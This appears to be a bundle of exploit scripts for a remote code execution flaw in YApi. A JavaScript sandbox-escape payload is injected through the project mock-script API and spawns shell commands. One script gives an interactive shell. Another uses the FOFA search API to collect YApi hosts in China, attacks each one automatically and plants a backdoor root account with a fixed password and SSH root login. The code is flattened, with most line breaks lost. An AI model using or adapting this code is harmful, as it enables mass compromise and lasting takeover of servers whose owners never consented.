const sandbox = thisconst ObjectConstructor = this.constructorconst FunctionConstructor = ObjectConstructor.constructorconst myfun = FunctionConstructor('return process')const process = myfun()mockJson = process.mainModule.require("child_process").execSync("whoami && ps -ef").toString()

# coding=utf-8import json
import requests
url = 'http://ip:port/'
r = requests.session()
projectID = '131'  # http://ip:port/project/131/interface/api/1141interfaceID = '1141' #               131 projectID    1141 interfaceID
headers = {    'Content-Type': 'application/json'}

def login():    data = {        "email": "[email protected]",        "password": "asd"    }    rsp = r.post(url + 'api/user/login', data=json.dumps(data), headers=headers)    print(rsp.text)

def rce(cmd):  # 这里做了优化，对全局变量进行修改，需要关闭 ‘高级Mock’ 中的脚本    poc = '''const sandbox = thisconst ObjectConstructor = this.constructorconst FunctionConstructor = ObjectConstructor.constructorconst myfun = FunctionConstructor('return process')const process = myfun()mockJson = process.mainModule.require("child_process").execSync("{}").toString()'''.format(cmd)
    data = {"id": projectID, "project_mock_script": f'''const sandbox = thisconst ObjectConstructor = this.constructorconst FunctionConstructor = ObjectConstructor.constructorconst myfun = FunctionConstructor('return process')const process = myfun()mockJson = process.mainModule.require("child_process").execSync("{cmd}").toString()''',            "is_mock_open": True}    rsp = r.post(url + 'api/project/up', data=json.dumps(data), headers=headers)
    print(rsp.text)

def result():    url2 = url + f'mock/{projectID}/1/1'    rsp = r.get(url2, headers=headers)    print(rsp.text)

if __name__ == '__main__':    login()    while True:        cmd = input('$ ')        rce(cmd)        result()

# -*- coding: utf-8 -*-import base64import jsonimport urllibimport urllib.errorimport urllib.parseimport urllib.request

class Client:    def __init__(self, email, key):        self.email = email        self.key = key        self.base_url = "https://fofa.so"        self.search_api_url = "/api/v1/search/all"        self.login_api_url = "/api/v1/info/my"        self.get_userinfo()  # check email and key
    def get_userinfo(self):        api_full_url = "%s%s" % (self.base_url, self.login_api_url)        param = {"email": self.email, "key": self.key}        res = self.__http_get(api_full_url, param)        return json.loads(res)
    def get_data(self, query_str, page=1, fields=""):        res = self.get_json_data(query_str, page, fields)        return json.loads(res)
    def get_json_data(self, query_str, page=1, fields=""):        api_full_url = "%s%s" % (self.base_url, self.search_api_url)        param = {"qbase64": base64.b64encode(query_str), "email": self.email, "key": self.key, "page": page,                 "fields": fields}        res = self.__http_get(api_full_url, param)        return res
    def __http_get(self, url, param):        param = urllib.parse.urlencode(param)        url = "%s?%s" % (url, param)        try:            req = urllib.request.Request(url)            res = urllib.request.urlopen(req).read()            if b"errmsg" in res:                raise RuntimeError(res)        except urllib.error.HTTPError as e:            print("errmsg：" + e.read().decode()),            raise e        return res

import re
import fofa

class Fofa:    email = fofa_account    key = key   # key 在 个人资料中    client = fofa.Client(email, key)
    def __init__(self, query_str):        self.query_str = query_str
    def search(self, page):        hostList = []        data = self.client.get_data(self.query_str.encode(), page=page, fields="host")        for host in data['results']:            if re.search('http
展开收缩
?://', host) is None:                host = 'http://' + host            if re.search('/$', host) is not None:                host = host[:-1]            hostList.append(host)        return hostList

if __name__ == '__main__':    F = Fofa('app="yapi"')    for page in range(1, 10):        print(F.search(page))

# coding=utf-8import jsonimport sys
import requests
from fofasearch import Fofa
exp = '''const sandbox = thisconst ObjectConstructor = this.constructorconst FunctionConstructor = ObjectConstructor.constructorconst myfun = FunctionConstructor('return process')const process = myfun()mockJson = process.mainModule.require("child_process").execSync("{}").toString()'''

class Yapi:    def __init__(self, url):        self.r = requests.session()        self.url = url        self.headers = {'Content-Type': 'application/json'}        print('nn' + '*' * 10 + url + '*' * 10)
    def register(self, email, passwd, username):        data = {            "email": email,            "password": passwd,            "username": username        }        rsp = self.r.post(self.url + '/api/user/reg', data=json.dumps(data), headers=self.headers, timeout=2)        # print(rsp)        print(json.loads(rsp.text)['errmsg'])        return json.loads(rsp.text)['errmsg']
    def login(self, email, passwd):        data = {            "email": email,            "password": passwd        }        rsp = self.r.post(self.url + '/api/user/login', data=json.dumps(data), headers=self.headers, timeout=2)        print(json.loads(rsp.text)['errmsg'])        return json.loads(rsp.text)['errmsg']
    def getGroupId(self):        rsp = self.r.get(self.url + '/api/group/get_mygroup', timeout=2)        return json.loads(rsp.text)['data']['_id']
    def addProject(self, groupid):        data = {            "name": "1",            "basepath": "/1",            "desc": "1",            "group_id": groupid,            "icon": "code-o",            "color": "pink",            "project_type": "private"        }        rsp = self.r.post(self.url + '/api/project/add', data=json.dumps(data), headers=self.headers, timeout=2)        projectId = json.loads(rsp.text)['data']['_id']        return projectId
    def addInterface(self, projectID):        data = {            "method": "GET",            "catid": "112",            "title": "1",            "path": "/1",            "project_id": projectID        }
        rsp = self.r.post(self.url + '/api/interface/add', data=json.dumps(data), headers=self.headers, timeout=2)        interfaceID = json.loads(rsp.text)['data']['_id']        return interfaceID
    def isDocker(self, projectID):        data = {"id": projectID,                "project_mock_script": exp.format('ls -al /'),                "is_mock_open": True}
        self.r.post(self.url + '/api/project/up', data=json.dumps(data), headers=self.headers, timeout=10)
    def rce(self, cmd, projectID, interfaceId):
        data = {"id": projectID,                "project_mock_script": exp.format(cmd),                "is_mock_open": True}
        rsp = self.r.post(self.url + '/api/project/up', data=json.dumps(data), headers=self.headers)        # print(rsp.text)
    def result(self, projectId):        url2 = self.url + f'/mock/{projectId}/1/1'        rsp = self.r.get(url2, headers=self.headers)        return rsp.text

def main(host, cmd='', email="[email protected]", passwd="123456", username="admin", shell=False, passDocker=False):    y = Yapi(host)    try:        regResult = y.register(email, passwd, username)    except:        print('register failed')        return    if regResult == '该email已经注册':        try:            print('try Login...')            result = y.login(email, passwd)            if result != 'logout success...':                print('login failed...')                return        except:            print('Login failed')            return
    try:        groupId = y.getGroupId()        projectID = y.addProject(groupId)        print('projectID: ' + str(projectID))        interfaceID = y.addInterface(projectID)    except:        return
    try:        y.isDocker(projectID)        result = y.result(projectID)    except:        print('Command execution failed')        return
    if '.dockerenv' in result:        print('this is Docker')        if passDocker:            return
    if shell:        while True:            cmd = input('n# ')            y.rce(cmd, projectID, interfaceID)            y.result(projectID)    else:        try:            y.rce(cmd, projectID, interfaceID)            result = y.result(projectID)        except:            print('Command execution failed')            return
        if 'Invalid or unexpected token' in result:            print('Command execution failed')        elif len(result) == 0:            print('no echo')        else:            try:                print(result)            except:                print(result.encode())

if __name__ == '__main__':    query_str = '(app="yapi" && country=="CN") && (is_honeypot=false && is_fraud=false)'
    cmd = '''adduser nginx1 && echo 'nginx1:Ll123@lL'|chpasswd && sed -i '$cnginx1:x:0:0:root:/root:/bin/bash' /etc/passwd && sed -i 's/#* *PermitRootLogin.*/PermitRootLogin yes/g' /etc/ssh/sshd_config && sed -i 's/#* *PasswordAuthentication.*/PasswordAuthentication yes/g' /etc/ssh/sshd_config && echo 'success' && systemctl reload ssh | systemctl reload sshd'''
    # f = open('yapi.log', 'a')    # sys.stdout = f
    F = Fofa(query_str)    for page in range(1, 58):        hostList = F.search(page)
        for host in hostList:            try:                requests.get(host, timeout=2)            except:                print('nn' + '*'*10 + host + '*'*10)                print('connection failed')                continue            main(host, cmd)
    # f.close()